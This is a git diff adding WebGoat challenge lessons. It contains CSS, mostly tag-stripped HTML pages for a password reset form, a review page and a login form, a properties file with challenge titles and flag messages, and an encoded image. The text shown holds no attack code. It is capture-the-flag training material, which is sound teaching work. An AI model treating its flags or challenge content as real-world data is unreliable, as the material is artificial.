+.review-block{ + background-color:#FAFAFA; + border:1px solid #EFEFEF; + padding:15px; + border-radius:3px; + margin-bottom:15px; +} +.review-block-name{ + font-size:12px; + margin:10px 0; +} +.review-block-date{ + font-size:12px; +} +.review-block-rate{ + font-size:13px; + margin-bottom:15px; +} +.review-block-title{ + font-size:15px; + font-weight:700; + margin-bottom:10px; +} +.review-block-description{ + font-size:13px; +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html new file mode 100644 index 000000000..e69601c30 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/html/Challenge7.html @@ -0,0 +1,82 @@ + + + + + + +

+
+
+
+
+
+
+
+
+
+

+

Forgot Password?

+

You can reset your password here.

+
+ +
+ +
+
+ + +
+
+
+ +
+
+

(c) 2017 WebGoat Cloud Platform

+
+ + + + +
+
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+
+ + + +
+
+
+
+
+ + \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html new file mode 100644 index 000000000..efaed5c85 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/html/Challenge8.html @@ -0,0 +1,255 @@ + + + + +
+
+ + + +
+
+ +
+ +
+
+
+

Average user rating

+

4.3 + / 5 +

+ + + + + +
+
+
+

Rating breakdown

+
+
+
5 +
+
+
+
+
+ 5 +
+
+
+
0
+
+
+
+
4 +
+
+
+
+
+ 4 +
+
+
+
0
+
+
+
+
3 +
+
+
+
+
+ 4 +
+
+
+
0
+
+
+
+
2 +
+
+
+
+
+ 2 +
+
+
+
0
+
+
+
+
1 +
+
+ +
+
+
+ 4 +
+
+
+
0
+
+
+
+ +
+
+
+ +
+ Please login or register in order to vote (comments are disabled) +
+
+
+
+ + +
August 22, 2017
1 day ago
+
+
+
+ + + + + +
+
WebGoat rocks!
+
This is a great tool to learn about security + and have some fun with a couple challenges. +
+
+
+
+
+
+ + +
July 29, 2017
12 day ago
+
+
+
+ + + + + +
+
Nice
+
I liked it and learned a couple of things. + Still some bugs sometimes though. +
+
+
+
+
+
+ + +
January 27, 2017
100 days ago
+
+
+
+ + + + + +
+
WebGoat is great
+
WebGoat teaches you web security with some great + lessons +
+
+
+
+
+
+ +
+ +
+
+
+
+
+ +
+
+ +
+
+ + + +
+
+
+
+
+ + \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html b/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html new file mode 100644 index 000000000..49cc34ca9 --- /dev/null +++ b/webgoat-lessons/challenge/src/main/resources/html/Challenge9.html @@ -0,0 +1,109 @@ + + + + +
+
+ + +
+
+ +
+
+
+

+ + Account Access +

+
+
+
+
+ @ + +
+
+ + + + + +
+
+ +

+ + Forgot your password? + +

+
+
+ +
+ +
+
+
+ +
+
+
+
+
+ +
+
+ +
+
+ + + +
+
+
+
+
+ + \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties index 9328177ef..40f882656 100644 --- a/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/challenge/src/main/resources/i18n/WebGoatLabels.properties @@ -5,8 +5,13 @@ challenge3.title=Photo comments challenge4.title=Voting challenge5.title=Without password challenge6.title=Creating a new account +challenge7.title=Admin password reset +challenge8.title=Without account +challenge9.title=Changing password challenge.solved=Congratulations, you solved the challenge. Here is your flag: {0} -challenge.close=This is not the correct password for tom, please try again. +challenge.close=This is not the correct password for Larry, please try again. + +email.send=An e-mail has been send to {0} user.exists=User {0} already exists please try to register with a different username. user.created=User {0} created, please proceed to the login page. @@ -15,4 +20,10 @@ input.invalid=Input for user, email and/or password is empty or too long, please challenge.flag.correct=Congratulations you have solved the challenge!! challenge.flag.incorrect=Sorry this is not the correct flag, please try again. -ip.address.unknown=IP address unknown, e-mail has been sent. \ No newline at end of file +ip.address.unknown=IP address unknown, e-mail has been sent. + +login_failed=Login failed +login_failed.tom=Sorry only Tom can login at the moment + +required4=Missing username or password, please specify both. +user.not.larry=Please try to log in as Larry not {0}. \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg b/webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg new file mode 100644 index 0000000000000000000000000000000000000000..be29a53129aa5433fb537193df6e3240a837652e GIT binary patch literal 40693 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�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℘s228O@-jHO#7^*9j| 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 